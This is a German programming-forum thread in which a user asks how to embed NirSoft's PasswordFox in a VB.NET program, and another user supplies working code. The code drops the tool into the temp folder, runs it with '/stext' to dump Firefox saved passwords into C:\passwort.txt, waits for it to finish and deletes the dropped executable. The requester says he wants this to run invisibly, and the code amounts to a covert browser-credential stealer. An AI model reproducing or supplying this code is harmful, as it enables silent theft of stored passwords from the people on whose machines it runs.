vb 6 code aktualiesieren

[sunny-boy3]

Hallo ich habe ein Problem vllt kann mir jemand helfen ich habe vb.net und möchte ein paar nirsoft resourcen einbinden nur weiß ich nicht wie das bei .net geht und mit den coden hatte mal nen code für vb6

da ging es ja in detwa so:

Dim Bla As Byte 

Bla = LoadResData (101, "CUSTOM")

open ("C:\passwortFox.exe" for Binary As #1

Put #1, , Bla()
Close #1

Shell  "C:\passwortFox /stext" &  "C:\passwort.txt"
Kill "C:\passwortFox.exe"
Erase Bla

Vorher mußte man da unter resource editor die exe hinzufügen aber wie geht das jetzt unter vb.net ?

habe dort auch kein resource editor gefunden und die definition bekomkme ich auch nicht hin

[Sawyer]

Ganz einfach:

        Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
        bw.Write(My.Resources.passwortFox)
        bw.Close()

        Process.Start(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")

Vorher mußte man da unter resource editor die exe hinzufügen aber wie geht das jetzt unter vb.net ?

Einfach unter den Projekteigentschaften / Ressourcen

MfG

[sunny-boy3]

Ganz einfach:

        Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
        bw.Write(My.Resources.passwortFox)
        bw.Close()

        Process.Start(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")

Einfach unter den Projekteigentschaften / Ressourcen

MfG

Funktioniert soweit ganbz gut nur will ich die resource invisible und die daten in txt speichern
wäre nett wen das iwie möglich wäre
also invislbe öffnen und den inhalt in txt in eine pfad speichern

Ps: Danke für deine hilfe!

[Sawyer]

        Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
        bw.Write(My.Resources.PasswordFox)
        bw.Close()

        Dim si As New ProcessStartInfo(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
        si.Arguments = "/stext C:\passwort.txt"

        Process.Start(si)


        While True
            If Process.GetProcessesByName(("passwortFox")).Length < 1 Then
                IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
                Exit While
            End If
        End While

So das sollte es sein was du dir vorgestellt hast

MfG

[sunny-boy3]

        Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
        bw.Write(My.Resources.PasswordFox)
        bw.Close()

        Dim si As New ProcessStartInfo(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
        si.Arguments = "/stext C:\passwort.txt"

        Process.Start(si)
        IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")

So das sollte es sein was du dir vorgestellt hast

MfG

Hey genau das habe ich gesucht vielen dank für deine freundliche hilfe